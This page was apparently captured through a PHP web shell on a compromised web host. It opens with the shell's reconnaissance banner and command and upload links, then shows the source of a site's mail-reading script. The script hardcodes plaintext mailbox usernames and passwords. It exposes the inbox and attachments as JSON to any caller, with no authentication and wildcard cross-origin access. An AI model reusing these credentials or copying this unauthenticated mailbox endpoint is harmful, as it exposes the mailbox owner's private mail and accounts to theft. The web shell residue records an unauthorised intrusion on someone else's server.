|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/PMP/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// $begin_time = array_sum(explode(' ', microtime()));
// include Imap.Class
include_once('lib/class.imap.php');
$email = new Imap();
// $connect = $email->connect('{imap.gmail.com:993/imap/ssl}INBOX','ayoub.benlachmi.dev@gmail.com','Jalil040@@@' );
// $connect = $email->connect('{ssl0.ovh.net:995/pop3}INBOX','contact@mc-pro.fr','Steeven2411' );
$connect = $email->connect('{ssl0.ovh.net/pop3/ssl/novalidate-cert}INBOX','contact@mc-pro.fr','Steeven2411' );
// $inbox = $email->getMessages('html');
// print_r ($inbox[data]);
// exit();
// print_r($connect );// pop3.mc-pro.fr
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
// echo json_encode($inbox, JSON_PRETTY_PRINT);
// print_r($_POST);
if($connect){
if(isset($_POST['inbox'])){
$inbox = $email->getMessages('html');
echo json_encode($inbox);
// $inbox = $email->getMessages('html');
// echo json_encode($inbox, JSON_PRETTY_PRINT);
}else if(!empty($_POST['uid'])){
// attachments
$inbox = $email->getFiles($_POST);
echo json_encode($inbox);
}else {
echo json_encode(array("status" => "error", "message" => "Not connect."));
}
}
else{
echo json_encode(array("status" => "error", "message" => "Not connect."));
}
// $end_time = array_sum(explode(' ', microtime()));
// echo 'Le temps d\'exécution est '.($end_time - $begin_time);
